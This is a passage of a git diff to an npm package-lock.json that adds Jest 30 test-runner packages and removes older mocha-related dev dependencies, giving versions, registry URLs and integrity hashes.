"30.0.1", + "import-local": "^3.2.0", + "jest-cli": "30.0.3" } }, - "globals": { - "version": "11.12.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz", - "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==", - "dev": true - }, - "globby": { - "version": "11.1.0", - "resolved": "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz", - "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==", + "jest-changed-files": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/jest-changed-files/-/jest-changed-files-30.0.2.tgz", + "integrity": "sha512-Ius/iRST9FKfJI+I+kpiDh8JuUlAISnRszF9ixZDIqJF17FckH5sOzKC8a0wd0+D+8em5ADRHA5V5MnfeDk2WA==", + "dev": true, "requires": { - "array-union": "^2.1.0", - "dir-glob": "^3.0.1", - "fast-glob": "^3.2.9", - "ignore": "^5.2.0", - "merge2": "^1.4.1", - "slash": "^3.0.0" + "execa": "^5.1.1", + "jest-util": "30.0.2", + "p-limit": "^3.1.0" } }, - "graceful-fs": { - "version": "4.2.11", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", - "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", - "dev": true + "jest-circus": { + "version": "30.0.3", + "resolved": "https://registry.npmjs.org/jest-circus/-/jest-circus-30.0.3.tgz", + "integrity": "sha512-rD9qq2V28OASJHJWDRVdhoBdRs6k3u3EmBzDYcyuMby8XCO3Ll1uq9kyqM41ZcC4fMiPulMVh3qMw0cBvDbnyg==", + "dev": true, + "requires": { + "@jest/environment": "30.0.2", + "@jest/expect": "30.0.3", + "@jest/test-result": "30.0.2", + "@jest/types": "30.0.1", + "@types/node": "*", + "chalk": "^4.1.2", + "co": "^4.6.0", + "dedent": "^1.6.0", + "is-generator-fn": "^2.1.0", + "jest-each": "30.0.2", + "jest-matcher-utils": "30.0.3", + "jest-message-util": "30.0.2", + "jest-runtime": "30.0.3", + "jest-snapshot": "30.0.3", + "jest-util": "30.0.2", + "p-limit": "^3.1.0", + "pretty-format": "30.0.2", + "pure-rand": "^7.0.0", + "slash": "^3.0.0", + "stack-utils": "^2.0.6" + } + }, + "jest-cli": { + "version": "30.0.3", + "resolved": "https://registry.npmjs.org/jest-cli/-/jest-cli-30.0.3.tgz", + "integrity": "sha512-UWDSj0ayhumEAxpYRlqQLrssEi29kdQ+kddP94AuHhZknrE+mT0cR0J+zMHKFe9XPfX3dKQOc2TfWki3WhFTsA==", + "dev": true, + "requires": { + "@jest/core": "30.0.3", + "@jest/test-result": "30.0.2", + "@jest/types": "30.0.1", + "chalk": "^4.1.2", + "exit-x": "^0.2.2", + "import-local": "^3.2.0", + "jest-config": "30.0.3", + "jest-util": "30.0.2", + "jest-validate": "30.0.2", + "yargs": "^17.7.2" + }, + "dependencies": { + "cliui": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", + "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", + "dev": true, + "requires": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.1", + "wrap-ansi": "^7.0.0" + } + }, + "yargs": { + "version": "17.7.2", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz", + "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==", + "dev": true, + "requires": { + "cliui": "^8.0.1", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.3", + "y18n": "^5.0.5", + "yargs-parser": "^21.1.1" + } + } + } }, - "has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true + "jest-config": { + "version": "30.0.3", + "resolved": "https://registry.npmjs.org/jest-config/-/jest-config-30.0.3.tgz", + "integrity": "sha512-j0L4oRCtJwNyZktXIqwzEiDVQXBbQ4dqXuLD/TZdn++hXIcIfZmjHgrViEy5s/+j4HvITmAXbexVZpQ/jnr0bg==", + "dev": true, + "requires": { + "@babel/core": "^7.27.4", + "@jest/get-type": "30.0.1", + "@jest/pattern": "30.0.1", + "@jest/test-sequencer": "30.0.2", + "@jest/types": "30.0.1", + "babel-jest": "30.0.2", + "chalk": "^4.1.2", + "ci-info": "^4.2.0", + "deepmerge": "^4.3.1", + "glob": "^10.3.10", + "graceful-fs": "^4.2.11", + "jest-circus": "30.0.3", + "jest-docblock": "30.0.1", + "jest-environment-node": "30.0.2", + "jest-regex-util": "30.0.1", + "jest-resolve": "30.0.2", + "jest-runner": "30.0.3", + "jest-util": "30.0.2", + "jest-validate": "30.0.2", + "micromatch": "^4.0.8", + "parse-json": "^5.2.0", + "pretty-format": "30.0.2", + "slash": "^3.0.0", + "strip-json-comments": "^3.1.1" + } + }, + "jest-diff": { + "version": "30.0.3", + "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-30.0.3.tgz", + "integrity": "sha512-Q1TAV0cUcBTic57SVnk/mug0/ASyAqtSIOkr7RAlxx97llRYsM74+E8N5WdGJUlwCKwgxPAkVjKh653h1+HA9A==", + "dev": true, + "requires": { + "@jest/diff-sequences": "30.0.1", + "@jest/get-type": "30.0.1", + "chalk": "^4.1.2", + "pretty-format": "30.0.2" + } }, - "he": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz", - "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", - "dev": true + "jest-docblock": { + "version": "30.0.1", + "resolved": "https://registry.npmjs.org/jest-docblock/-/jest-docblock-30.0.1.tgz", + "integrity": "sha512-/vF78qn3DYphAaIc3jy4gA7XSAz167n9Bm/wn/1XhTLW7tTBIzXtCJpb/vcmc73NIIeeohCbdL94JasyXUZsGA==", + "dev": true, + "requires": { + "detect-newline": "^3.1.0" + } }, - "ignore": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.0.tgz", - "integrity": "sha512-CmxgYGiEPCLhfLnpPp1MoRmifwEIOgjcHXxOBjv7mY96c+eWScsOP9c112ZyLdWHi0FxHjI+4uVhKYp/gcdRmQ==" + "jest-each": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/jest-each/-/jest-each-30.0.2.tgz", + "integrity": "sha512-ZFRsTpe5FUWFQ9cWTMguCaiA6kkW5whccPy9JjD1ezxh+mJeqmz8naL8Fl/oSbNJv3rgB0x87WBIkA5CObIUZQ==", + "dev": true, + "requires": { + "@jest/get-type": "30.0.1", + "@jest/types": "30.0.1", + "chalk": "^4.1.2", + "jest-util": "30.0.2", + "pretty-format": "30.0.2" + } }, - "imurmurhash": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", - "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", - "dev": true + "jest-environment-node": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-30.0.2.tgz", + "integrity": "sha512-XsGtZ0H+a70RsxAQkKuIh0D3ZlASXdZdhpOSBq9WRPq6lhe0IoQHGW0w9ZUaPiZQ/CpkIdprvlfV1QcXcvIQLQ==", + "dev": true, + "requires": { + "@jest/environment": "30.0.2", + "@jest/fake-timers": "30.0.2", + "@jest/types": "30.0.1", + "@types/node": "*", + "jest-mock": "30.0.2", + "jest-util": "30.0.2", + "jest-validate": "30.0.2" + } }, - "inflight": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", - "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "jest-haste-map": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/jest-haste-map/-/jest-haste-map-30.0.2.tgz", + "integrity": "sha512-telJBKpNLeCb4MaX+I5k496556Y2FiKR/QLZc0+MGBYl4k3OO0472drlV2LUe7c1Glng5HuAu+5GLYp//GpdOQ==", "dev": true, "requires": { - "once": "^1.3.0", - "wrappy": "1" + "@jest/types": "30.0.1", + "@types/node": "*", + "anymatch": "^3.1.3", + "fb-watchman": "^2.0.2", + "fsevents": "^2.3.3", + "graceful-fs": "^4.2.11", + "jest-regex-util": "30.0.1", + "jest-util": "30.0.2", + "jest-worker": "30.0.2", + "micromatch": "^4.0.8", + "walker": "^1.0.8" + } + }, + "jest-leak-detector": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/jest-leak-detector/-/jest-leak-detector-30.0.2.tgz", + "integrity": "sha512-U66sRrAYdALq+2qtKffBLDWsQ/XoNNs2Lcr83sc9lvE/hEpNafJlq2lXCPUBMNqamMECNxSIekLfe69qg4KMIQ==", + "dev": true, + "requires": { + "@jest/get-type": "30.0.1", + "pretty-format": "30.0.2" } }, - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "dev": true + "jest-matcher-utils": { + "version": "30.0.3", + "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-30.0.3.tgz", + "integrity": "sha512-hMpVFGFOhYmIIRGJ0HgM9htC5qUiJ00famcc9sRFchJJiLZbbVKrAztcgE6VnXLRxA3XZ0bvNA7hQWh3oHXo/A==", + "dev": true, + "requires": { + "@jest/get-type": "30.0.1", + "chalk": "^4.1.2", + "jest-diff": "30.0.3", + "pretty-format": "30.0.2" + } }, - "is-binary-path": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", - "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "jest-message-util": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.0.2.tgz", + "integrity": "sha512-vXywcxmr0SsKXF/bAD7t7nMamRvPuJkras00gqYeB1V0WllxZrbZ0paRr3XqpFU2sYYjD0qAaG2fRyn/CGZ0aw==", "dev": true, "requires": { - "binary-extensions": "^2.0.0" + "@babel/code-frame": "^7.27.1", + "@jest/types": "30.0.1", + "@types/stack-utils": "^2.0.3", + "chalk": "^4.1.2", + "graceful-fs": "^4.2.11", + "micromatch": "^4.0.8", + "pretty-format": "30.0.2", + "slash": "^3.0.0", + "stack-utils": "^2.0.6" + } + }, + "jest-mock": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-30.0.2.tgz", + "integrity": "sha512-PnZOHmqup/9cT/y+pXIVbbi8ID6U1XHRmbvR7MvUy4SLqhCbwpkmXhLbsWbGewHrV5x/1bF7YDjs+x24/QSvFA==", + "dev": true, + "requires": { + "@jest/types": "30.0.1", + "@types/node": "*", + "jest-util": "30.0.2" } }, - "is-extglob": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", - "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=" + "jest-pnp-resolver": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/jest-pnp-resolver/-/jest-pnp-resolver-1.2.3.tgz", + "integrity": "sha512-+3NpwQEnRoIBtx4fyhblQDPgJI0H1IEIkX7ShLUjPGA7TtUTvI1oiKi3SR4oBR0hQhQR80l4WAe5RrXBwWMA8w==", + "dev": true }, - "is-fullwidth-code-point": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "jest-regex-util": { + "version": "30.0.1", + "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-30.0.1.tgz", + "integrity": "sha512-jHEQgBXAgc+Gh4g0p3bCevgRCVRkB4VB70zhoAE48gxeSr1hfUOsM/C2WoJgVL7Eyg//hudYENbm3Ne+/dRVVA==", "dev": true }, - "is-glob": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", - "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "jest-resolve": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/jest-resolve/-/jest-resolve-30.0.2.tgz", + "integrity": "sha512-q/XT0XQvRemykZsvRopbG6FQUT6/ra+XV6rPijyjT6D0msOyCvR2A5PlWZLd+fH0U8XWKZfDiAgrUNDNX2BkCw==", + "dev": true, "requires": { - "is-extglob": "^2.1.1" + "chalk": "^4.1.2", + "graceful-fs": "^4.2.11", + "jest-haste-map": "30.0.2", + "jest-pnp-resolver": "^1.2.3", + "jest-util": "30.0.2", + "jest-validate": "30.0.2", + "slash": "^3.0.0", + "unrs-resolver": "^1.7.11" } }, - "is-number": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==" + "jest-resolve-dependencies": { + "version": "30.0.3", + "resolved": "https://registry.npmjs.org/jest-resolve-dependencies/-/jest-resolve-dependencies-30.0.3.tgz", + "integrity": "sha512-FlL6u7LiHbF0Oe27k7DHYMq2T2aNpPhxnNo75F7lEtu4A6sSw+TKkNNUGNcVckdFoL0RCWREJsC1HsKDwKRZzQ==", + "dev": true, + "requires": { + "jest-regex-util": "30.0.1", + "jest-snapshot": "30.0.3" + } }, - "is-plain-obj": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-2.1.0.tgz", - "integrity": "sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA==", - "dev": true + "jest-runner": { + "version": "30.0.3", + "resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-30.0.3.tgz", + "integrity": "sha512-CxYBzu9WStOBBXAKkLXGoUtNOWsiS1RRmUQb6SsdUdTcqVncOau7m8AJ4cW3Mz+YL1O9pOGPSYLyvl8HBdFmkQ==", + "dev": true, + "requires": { + "@jest/console": "30.0.2", + "@jest/environment": "30.0.2", + "@jest/test-result": "30.0.2", + "@jest/transform": "30.0.2", + "@jest/types": "30.0.1", + "@types/node": "*", + "chalk": "^4.1.2", + "emittery": "^0.13.1", + "exit-x": "^0.2.2", + "graceful-fs": "^4.2.11", + "jest-docblock": "30.0.1", + "jest-environment-node": "30.0.2", + "jest-haste-map": "30.0.2", + "jest-leak-detector": "30.0.2", + "jest-message-util": "30.0.2", + "jest-resolve": "30.0.2", + "jest-runtime": "30.0.3", + "jest-util": "30.0.2", + "jest-watcher": "30.0.2", + "jest-worker": "30.0.2", + "p-limit": "^3.1.0", + "source-map-support": "0.5.13" + }, + "dependencies": { + "source-map-support": { + "version": "0.5.13", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.13.tgz", + "integrity": "sha512-SHSKFHadjVA5oR4PPqhtAVdcBWwRYVd6g6cAXnIbRiIwc2EhPrTuKUBdSLvlEKyIP3GCf89fltvcZiP9MMFA1w==", + "dev": true, + "requires": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + } + } }, - "is-plain-object": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-5.0.0.tgz", - "integrity": "sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q==" + "jest-runtime": { + "version": "30.0.3", + "resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-30.0.3.tgz", + "integrity": "sha512-Xjosq0C48G9XEQOtmgrjXJwPaUPaq3sPJwHDRaiC+5wi4ZWxO6Lx6jNkizK/0JmTulVNuxP8iYwt77LGnfg3/w==", + "dev": true, + "requires": { + "@jest/environment": "30.0.2", + "@jest/fake-timers": "30.0.2", + "@jest/globals": "30.0.3", + "@jest/source-map": "30.0.1", + "@jest/test-result": "30.0.2", + "@jest/transform": "30.0.2", + "@jest/types": "30.0.1", + "@types/node": "*", + "chalk": "^4.1.2", + "cjs-module-lexer": "^2.1.0", + "collect-v8-coverage": "^1.0.2", + "glob": "^10.3.10", + "graceful-fs": "^4.2.11", + "jest-haste-map": "30.0.2", + "jest-message-util": "30.0.2", + "jest-mock": "30.0.2", + "jest-regex-util": "30.0.1", + "jest-resolve": "30.0.2", + "jest-snapshot": "30.0.3", + "jest-util": "30.0.2", + "slash": "^3.0.0", + "strip-bom": "^4.0.0" + } + }, + "jest-snapshot": { + "version": "30.0.3", + "resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-30.0.3.tgz", + "integrity": "sha512-F05JCohd3OA1N9+5aEPXA6I0qOfZDGIx0zTq5Z4yMBg2i1p5ELfBusjYAWwTkC12c7dHcbyth4QAfQbS7cRjow==", + "dev": true, + "requires": { + "@babel/core": "^7.27.4", + "@babel/generator": "^7.27.5", + "@babel/plugin-syntax-jsx": "^7.27.1", + "@babel/plugin-syntax-typescript": "^7.27.1", + "@babel/types": "^7.27.3", + "@jest/expect-utils": "30.0.3", + "@jest/get-type": "30.0.1", + "@jest/snapshot-utils": "30.0.1", + "@jest/transform": "30.0.2", + "@jest/types": "30.0.1", + "babel-preset-current-node-syntax": "^1.1.0", + "chalk": "^4.1.2", + "expect": "30.0.3", + "graceful-fs": "^4.2.11", + "jest-diff": "30.0.3", + "jest-matcher-utils": "30.0.3", + "jest-message-util": "30.0.2", + "jest-util": "30.0.2", + "pretty-format": "30.0.2", + "semver": "^7.7.2", + "synckit": "^0.11.8" + }, + "dependencies": { + "semver": { + "version": "7.7.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.2.tgz", + "integrity": "sha512-RF0Fw+rO5AMf9MAyaRXI4AV0Ulj5lMHqVxxdSgiVbixSCXoEmmX/jk0CuJw4+3SqroYO9VoUh+HcuJivvtJemA==", + "dev": true + } + } }, - "is-unicode-supported": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", - "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", - "dev": true + "jest-util": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.0.2.tgz", + "integrity": "sha512-8IyqfKS4MqprBuUpZNlFB5l+WFehc8bfCe1HSZFHzft2mOuND8Cvi9r1musli+u6F3TqanCZ/Ik4H4pXUolZIg==", + "dev": true, + "requires": { + "@jest/types": "30.0.1", + "@types/node": "*", + "chalk": "^4.1.2", + "ci-info": "^4.2.0", + "graceful-fs": "^4.2.11", + "picomatch": "^4.0.2" + }, + "dependencies": { + "picomatch": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.2.tgz", + "integrity": "sha512-M7BAV6Rlcy5u+m6oPhAPFgJTzAioX/6B0DxyvDlo9l8+T3nLKbrczg2WLUyzd45L8RqfUMyGPzekbMvX2Ldkwg==", + "dev": true + } + } }, - "isexe": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", - "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", - "dev": true + "jest-validate": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-30.0.2.tgz", + "integrity": "sha512-noOvul+SFER4RIvNAwGn6nmV2fXqBq67j+hKGHKGFCmK4ks/Iy1FSrqQNBLGKlu4ZZIRL6Kg1U72N1nxuRCrGQ==", + "dev": true, + "requires": { + "@jest/get-type": "30.0.1", + "@jest/types": "30.0.1", + "camelcase": "^6.3.0", + "chalk": "^4.1.2", + "leven": "^3.1.0", + "pretty-format": "30.0.2" + } }, - "isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==", - "dev": true + "jest-watcher": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-30.0.2.tgz", + "integrity": "sha512-vYO5+E7jJuF+XmONr6CrbXdlYrgvZqtkn6pdkgjt/dU64UAdc0v1cAVaAeWtAfUUMScxNmnUjKPUMdCpNVASwg==", + "dev": true, + "requires": { + "@jest/test-result": "30.0.2", + "@jest/types": "30.0.1", + "@types/node": "*", + "ansi-escapes": "^4.3.2", + "chalk": "^4.1.2", + "emittery": "^0.13.1", + "jest-util": "30.0.2", + "string-length": "^4.0.2" + } }, - "jackspeak": { - "version": "3.4.3", - "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-3.4.3.tgz", - "integrity": "sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==", + "jest-worker": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-30.0.2.tgz", + "integrity": "sha512-RN1eQmx7qSLFA+o9pfJKlqViwL5wt+OL3Vff/A+/cPsmuw7NPwfgl33AP+/agRmHzPOFgXviRycR9kYwlcRQXg==", "dev": true, "requires": { - "@isaacs/cliui": "^8.0.2", - "@pkgjs/parseargs": "^0.11.0" + "@types/node": "*", + "@ungap/structured-clone": "^1.3.0", + "jest-util": "30.0.2", + "merge-stream": "^2.0.0", + "supports-color": "^8.1.1" + }, + "dependencies": { + "supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" + } + } } }, "js-tokens": { @@ -5030,6 +8954,12 @@ "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==", "dev": true }, + "json-parse-even-better-errors": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", + "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==", + "dev": true + }, "json-stringify-safe": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", @@ -5048,14 +8978,17 @@ "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", "dev": true }, - "locate-path": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", - "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", - "dev": true, - "requires": { - "p-locate": "^5.0.0" - } + "leven": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz", + "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==", + "dev": true + }, + "lines-and-columns": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", + "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==", + "dev": true }, "lodash": { "version": "4.17.21", @@ -5063,24 +8996,11 @@ "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==", "dev": true }, - "log-symbols": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz", - "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==", - "dev": true, - "requires": { - "chalk": "^4.1.0", - "is-unicode-supported": "^0.1.0" - } - }, - "loupe": { - "version": "2.3.6", - "resolved": "https://registry.npmjs.org/loupe/-/loupe-2.3.6.tgz", - "integrity": "sha512-RaPMZKiMy8/JruncMU5Bt6na1eftNoo++R4Y+N2FrxkDVTrGvcyzFTsaGif4QTeKESheMGegbhw6iUAq+5A8zA==", - "dev": true, - "requires": { - "get-func-name": "^2.0.0" - } + "lodash.memoize": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", + "integrity": "sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag==", + "dev": true }, "lru-cache": { "version": "10.4.3", @@ -5112,6 +9032,21 @@ "integrity": "sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw==", "dev": true }, + "makeerror": { + "version": "1.0.12", + "resolved": "https://registry.npmjs.org/makeerror/-/makeerror-1.0.12.tgz", + "integrity": "sha512-JmqCvUhmt43madlpFzG4BQzG2Z3m6tvQDNKdClZnO3VbIudJYmxsT0FNJMeiB2+JTSlTQTSbU8QdesVmwJcmLg==", + "dev": true, + "requires": { + "tmpl": "1.0.5" + } + }, + "merge-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", + "dev": true + }, "merge2": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", @@ -5139,6 +9074,12 @@ "mime-db": "1.52.0" } }, + "mimic-fn": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", + "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==", + "dev": true + }, "minimatch": { "version": "5.1.6", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.6.tgz", @@ -5158,64 +9099,22 @@ "integrity": "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==", "dev": true }, - "mkdirp": { - "version": "0.5.6", - "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz", - "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==", - "dev": true, - "requires": { - "minimist": "^1.2.6" - } - }, - "mocha": { - "version": "11.0.1", - "resolved": "https://registry.npmjs.org/mocha/-/mocha-11.0.1.tgz", - "integrity": 